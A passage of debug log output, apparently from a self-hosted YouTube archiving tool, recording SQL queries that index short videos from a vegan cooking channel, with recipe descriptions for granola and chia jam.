AS s0 WHERE (s0."id" = ?) [1] 20:26:16.272 [debug] QUERY OK source="media_items" db=2.2ms idle=1002.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-28 17:18:05Z], 1] 20:26:16.274 [debug] QUERY OK source="media_items" db=1.1ms idle=735.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["FULL RECIPE VIDEO ➡️ \nhttps://youtu.be/ElN-bKuTYR4\n\nI'll show you how to make east tahini granola! This healthy tahini lemon poppyseed granola is my current OBSESSION. Tahini is magic and helps make this granola even healthier, more satisfying and adds a lovely nutty flavour. It's crunchy, tangy, fragrant, sweet and oh so crunchy! It's perfect for munching, in yogurt or smoothie bowls and more! Can't wait for you to try it.\n\nTAHINI & LEMON POPPYSEED GRANOLA\n3 cups rolled oats (GF if needed)\n½ cup almond flour\n1 cup chopped pecans\nzest and juice of 1 lemon \n¼ cup tahini\n¼ cup maple syrup\n1½ tsp vanilla extract\n2 tbsp coconut sugar\n2 tbsp poppyseeds\n\n1. Preheat oven or airfryer oven to 350°F and line a baking sheet or airfryer basket with parchment paper.\n2. Spread out 3 cups of rolled oats on the baking tray into an even layer and toast the oats on the middle rack for 10 minutes (5 minutes if airfryer)\n3. In a large mixing bowl, add the lemon juice and zest, tahini, maple syrup, vanilla and coconut sugar and whisk until it's well combined.\n4. Once the oats are toasted pour them into the bowl of wet mix, and add the almond flour and chopped pecans and mix with a large spoon until its a well combined sticky mixture.\n5. Spread out into an even layer on the same baking tray and bake at 325°F for 30 minutes or 350°F in airfryer. Break apart and turn the granola into pieces with a spatula halfway through cooking time.\n6. Remove from oven and let cool completely, allowing the granola to harden and get crunchy as it cools. Enjoy!", "Lemon Poppyseed Granola (with a SECRET ingredient! 🤫)", "0686d7b3-038d-4e3b-8139-d6f1159b49d2", 1, [], 30, false, "XQjLcTBlKxY", "https://www.youtube.com/shorts/XQjLcTBlKxY", 174, "/downloads/downloads/alec/Steamy Vegan/2023-04-28 Lemon Poppyseed Granola (with a SECRET ingredient! 🤫)/Lemon Poppyseed Granola (with a SECRET ingredient! 🤫) [XQjLcTBlKxY].NA", false, false, true, 0, ~U[2023-04-28 17:18:05Z], ~U[2026-03-22 03:26:16Z], ~U[2026-03-22 03:26:16Z], "FULL RECIPE VIDEO ➡️ \nhttps://youtu.be/ElN-bKuTYR4\n\nI'll show you how to make east tahini granola! This healthy tahini lemon poppyseed granola is my current OBSESSION. Tahini is magic and helps make this granola even healthier, more satisfying and adds a lovely nutty flavour. It's crunchy, tangy, fragrant, sweet and oh so crunchy! It's perfect for munching, in yogurt or smoothie bowls and more! Can't wait for you to try it.\n\nTAHINI & LEMON POPPYSEED GRANOLA\n3 cups rolled oats (GF if needed)\n½ cup almond flour\n1 cup chopped pecans\nzest and juice of 1 lemon \n¼ cup tahini\n¼ cup maple syrup\n1½ tsp vanilla extract\n2 tbsp coconut sugar\n2 tbsp poppyseeds\n\n1. Preheat oven or airfryer oven to 350°F and line a baking sheet or airfryer basket with parchment paper.\n2. Spread out 3 cups of rolled oats on the baking tray into an even layer and toast the oats on the middle rack for 10 minutes (5 minutes if airfryer)\n3. In a large mixing bowl, add the lemon juice and zest, tahini, maple syrup, vanilla and coconut sugar and whisk until it's well combined.\n4. Once the oats are toasted pour them into the bowl of wet mix, and add the almond flour and chopped pecans and mix with a large spoon until its a well combined sticky mixture.\n5. Spread out into an even layer on the same baking tray and bake at 325°F for 30 minutes or 350°F in airfryer. Break apart and turn the granola into pieces with a spatula halfway through cooking time.\n6. Remove from oven and let cool completely, allowing the granola to harden and get crunchy as it cools. Enjoy!", "Lemon Poppyseed Granola (with a SECRET ingredient! 🤫)", 1, 30, false, "XQjLcTBlKxY", "https://www.youtube.com/shorts/XQjLcTBlKxY", "/downloads/downloads/alec/Steamy Vegan/2023-04-28 Lemon Poppyseed Granola (with a SECRET ingredient! 🤫)/Lemon Poppyseed Granola (with a SECRET ingredient! 🤫) [XQjLcTBlKxY].NA", true, ~U[2023-04-28 17:18:05Z]] 20:26:16.275 [debug] QUERY OK source="sources" db=0.3ms idle=241.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:16.275 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:16.276 [debug] QUERY OK source="media_items" db=0.4ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [563] 20:26:16.276 [debug] Current batch of media processed. Will check again in 1000ms 20:26:17.277 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Stop buying jam from the grocery store and make your own inexpensive and delicious blueberry chia jam instead!\n\nBLUEBERRY CHIA JAM \n4 cups frozen or fresh blueberries (can sub other berries, too)\n4 tbsp chia seeds\n4 tbsp maple syrup\n2 tbsp lemon juice\n\n1. In a saucepan or pot combine all the ingredients together and stir until all the chia seeds have coated the blueberries.\n2. Cover with a lid and let simmer on medium heat until bubbly and it becomes slightly liquidy, around 15 minutes.\n3. Cook uncovered for 2 minutes then remove from the heat and let sit to thicken until its cool enough to ladle into a jar.\n4. Store in the fridge for up to 10 days and enjoy on toast, waffles, pancakes, granola and more!\n\nEnjoyed this recipe? Subscribe to @steamyvegankitchen and never miss another juicy video 😁\n\n\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "duration" => 32, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-04-27 STOP BUYING JAM! Make BLUEBERRY CHIA JAM instead 🫐/STOP BUYING JAM! Make BLUEBERRY CHIA JAM instead 🫐 [rxlh76YVxbM].NA", "id" => "rxlh76YVxbM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/rxlh76YVxbM", "playlist_index" => 175, "timestamp" => 1682607935, "title" => "STOP BUYING JAM! Make BLUEBERRY CHIA JAM instead 🫐", "upload_date" => "20230427"} 20:26:17.278 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:17.278 [debug] QUERY OK source="sources" db=0.3ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:17.281 [debug] QUERY OK source="media_items" db=2.2ms idle=1003.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-27 15:05:35Z], 1] 20:26:17.282 [debug] QUERY OK source="media_items" db=0.9ms idle=1005.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Stop buying jam from the grocery store and make your own inexpensive and delicious blueberry chia jam instead!\n\nBLUEBERRY CHIA JAM \n4 cups frozen or fresh blueberries (can sub other berries, too)\n4 tbsp chia seeds\n4 tbsp maple syrup\n2 tbsp lemon juice\n\n1. In a saucepan or pot combine all the ingredients together and stir until all the chia seeds have coated the blueberries.\n2. Cover with a lid and let simmer on medium heat until bubbly and it becomes slightly liquidy, around 15 minutes.\n3. Cook uncovered for 2 minutes then remove from the heat and let sit to thicken until its cool enough to ladle into a jar.\n4. Store in the fridge for up to 10 days and enjoy on toast, waffles, pancakes, granola and more!\n\nEnjoyed this recipe? Subscribe to @steamyvegankitchen and never miss another juicy video 😁\n\n\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "STOP BUYING JAM! Make BLUEBERRY CHIA JAM instead 🫐", "447bb953-0b13-4309-ad3b-04fa8ed3f282", 1, [], 32, false, "rxlh76YVxbM", "https://www.youtube.com/shorts/rxlh76YVxbM", 175, "/downloads/downloads/alec/Steamy Vegan/2023-04-27 STOP BUYING JAM! Make BLUEBERRY CHIA JAM instead 🫐/STOP BUYING JAM! Make BLUEBERRY CHIA JAM instead 🫐 [rxlh76YVxbM].NA", false, false, true, 1, ~U[2023-04-27 15:05:35Z], ~U[2026-03-22 03:26:17Z], ~U[2026-03-22 03:26:17Z], "Stop buying jam from the grocery store and make your own inexpensive and delicious blueberry chia jam instead!\n\nBLUEBERRY CHIA JAM \n4 cups frozen or fresh blueberries (can sub other berries, too)\n4 tbsp chia seeds\n4 tbsp maple syrup\n2 tbsp lemon juice\n\n1. In a saucepan or pot combine all the ingredients together and stir until all the chia seeds have coated the blueberries.\n2. Cover with a lid and let simmer on medium heat until bubbly and it becomes slightly liquidy, around 15 minutes.\n3. Cook uncovered for 2 minutes then remove from the heat and let sit to thicken until its cool enough to ladle into a jar.\n4. Store in the fridge for up to 10 days and enjoy on toast, waffles, pancakes, granola and more!\n\nEnjoyed this recipe? Subscribe to @steamyvegankitchen and never miss another juicy video 😁\n\n\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "STOP BUYING JAM! Make BLUEBERRY CHIA JAM instead 🫐", 1, 32, false, "rxlh76YVxbM", "https://www.youtube.com/shorts/rxlh76YVxbM", "/downloads/downloads/alec/Steamy Vegan/2023-04-27 STOP BUYING JAM! Make BLUEBERRY CHIA JAM instead 🫐/STOP BUYING JAM! Make BLUEBERRY CHIA JAM instead 🫐 [rxlh76YVxbM].NA", true, ~U[2023-04-27 15:05:35Z]] 20:26:17.283 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=246.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:17.284 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:17.285 [debug] QUERY OK source="media_items" db=0.7ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [564] 20:26:17.285 [debug] Current batch of media processed. Will check again in 1000ms 20:26:18.286 [debug] Current batch of media processed. Will check again in 1000ms 20:26:19.287 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This peanut butter and jam granola bowl is a staple in my house that I make at least once per week. It's a vegan and gluten free recipe that anyone can adjust and make as they'd like.\n\nCheck out my vegan and GF lemon poppyseed granola recipe video here: https://youtu.be/ElN-bKuTYR4\n\nDon't forget to like, comment and subscribe if you'd like to see more vegan and gluten free recipes on the channel. Thanks so much!!!", "duration" => 35, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-04-26 How I Make My Favorite Peanut Butter & Chia Jam Granola Bowl (GF + Vegan Recipe) #shorts/How I Make My Favorite Peanut Butter & Chia Jam Granola Bowl (GF + Vegan Recipe) #shorts [PKkvzohlfeI].NA", "id" => "PKkvzohlfeI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/PKkvzohlfeI", "playlist_index" => 176, "timestamp" => 1682538720, "title" => "How I Make My Favorite Peanut Butter & Chia Jam Granola Bowl (GF + Vegan Recipe) #shorts", "upload_date" => "20230426"} 20:26:19.288 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=704.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:19.289 [debug] QUERY OK source="sources" db=0.5ms idle=705.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:19.291 [debug] QUERY OK source="media_items" db=2.1ms idle=705.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-26 19:52:00Z], 1] 20:26:19.292 [debug] QUERY OK source="media_items" db=0.7ms idle=708.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This peanut butter and jam granola bowl is a staple in my house that I make at least once per week. It's a vegan and gluten free recipe that anyone can adjust and make as they'd like.\n\nCheck out my vegan and GF lemon poppyseed granola recipe video here: https://youtu.be/ElN-bKuTYR4\n\nDon't forget to like, comment and subscribe if you'd like to see more vegan and gluten free recipes on the channel. Thanks so much!!!", "How I Make My Favorite Peanut Butter & Chia Jam Granola Bowl (GF + Vegan Recipe) #shorts", "1deeab7f-a9a9-43ed-943b-ff22a5227d1a", 1, [], 35, false, "PKkvzohlfeI", "https://www.youtube.com/shorts/PKkvzohlfeI", 176, "/downloads/downloads/alec/Steamy Vegan/2023-04-26 How I Make My Favorite Peanut Butter & Chia Jam Granola Bowl (GF + Vegan Recipe) #shorts/How I Make My Favorite Peanut Butter & Chia Jam Granola Bowl (GF + Vegan Recipe) #shorts [PKkvzohlfeI].NA", false, false, true, 0, ~U[2023-04-26 19:52:00Z], ~U[2026-03-22 03:26:19Z], ~U[2026-03-22 03:26:19Z], "This peanut butter and jam granola bowl is a staple in my house that I make at least once per week. It's a vegan and gluten free recipe that anyone can adjust and make as they'd like.\n\nCheck out my vegan and GF lemon poppyseed granola recipe video here: https://youtu.be/ElN-bKuTYR4\n\nDon't forget to like, comment and subscribe if you'd like to see more vegan and gluten free recipes on the channel. Thanks so much!!!", "How I Make My Favorite Peanut Butter & Chia Jam Granola Bowl (GF + Vegan Recipe) #shorts", 1, 35, false, "PKkvzohlfeI", "https://www.youtube.com/shorts/PKkvzohlfeI", "/downloads/downloads/alec/Steamy Vegan/2023-04-26 How I Make My Favorite Peanut Butter & Chia Jam Granola Bowl (GF + Vegan Recipe) #shorts/How I Make My Favorite Peanut Butter & Chia Jam Granola Bowl (GF + Vegan Recipe) #shorts [PKkvzohlfeI].NA", true, ~U[2023-04-26 19:52:00Z]] 20:26:19.293 [debug] QUERY OK source="sources" db=0.3ms idle=252.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:19.293 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:19.294 [debug] QUERY OK source="media_items" db=0.3ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [565] 20:26:19.294 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-04-13 Make delicious scrambled eggs from tofu! 🤤 #shorts/Make delicious scrambled eggs from tofu! 🤤 #shorts [xkY_nb6D_dQ].NA", "id" => "xkY_nb6D_dQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/xkY_nb6D_dQ", "playlist_index" => 177, "timestamp" => 1681402025, "title" => "Make delicious scrambled eggs from tofu! 🤤 #shorts", "upload_date" => "20230413"} 20:26:19.295 [debug] QUERY OK source="sources" db=0.6ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:19.295 [debug] QUERY OK source="sources" db=0.3ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:19.297 [debug] QUERY OK source="media_items" db=1.4ms idle=2.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-13 16:07:05Z], 1] 20:26:19.298 [debug] QUERY OK source="media_items" db=0.6ms idle=3.7ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Make delicious scrambled eggs from tofu! 🤤 #shorts", "25d38e9a-81e4-411a-9b03-af009ad3d895", 1, [], 15, false, "xkY_nb6D_dQ", "https://www.youtube.com/shorts/xkY_nb6D_dQ", 177, "/downloads/downloads/alec/Steamy Vegan/2023-04-13 Make delicious scrambled eggs from tofu! 🤤 #shorts/Make delicious scrambled eggs from tofu! 🤤 #shorts [xkY_nb6D_dQ].NA", false, false, true, 0, ~U[2023-04-13 16:07:05Z], ~U[2026-03-22 03:26:19Z], ~U[2026-03-22 03:26:19Z], "", "Make delicious scrambled eggs from tofu! 🤤 #shorts", 1, 15, false, "xkY_nb6D_dQ", "https://www.youtube.com/shorts/xkY_nb6D_dQ", "/downloads/downloads/alec/Steamy Vegan/2023-04-13 Make delicious scrambled eggs from tofu! 🤤 #shorts/Make delicious scrambled eggs from tofu! 🤤 #shorts [xkY_nb6D_dQ].NA", true, ~U[2023-04-13 16:07:05Z]] 20:26:19.298 [debug] QUERY OK source="sources" db=0.3ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:19.299 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:19.299 [debug] QUERY OK source="media_items" db=0.3ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' 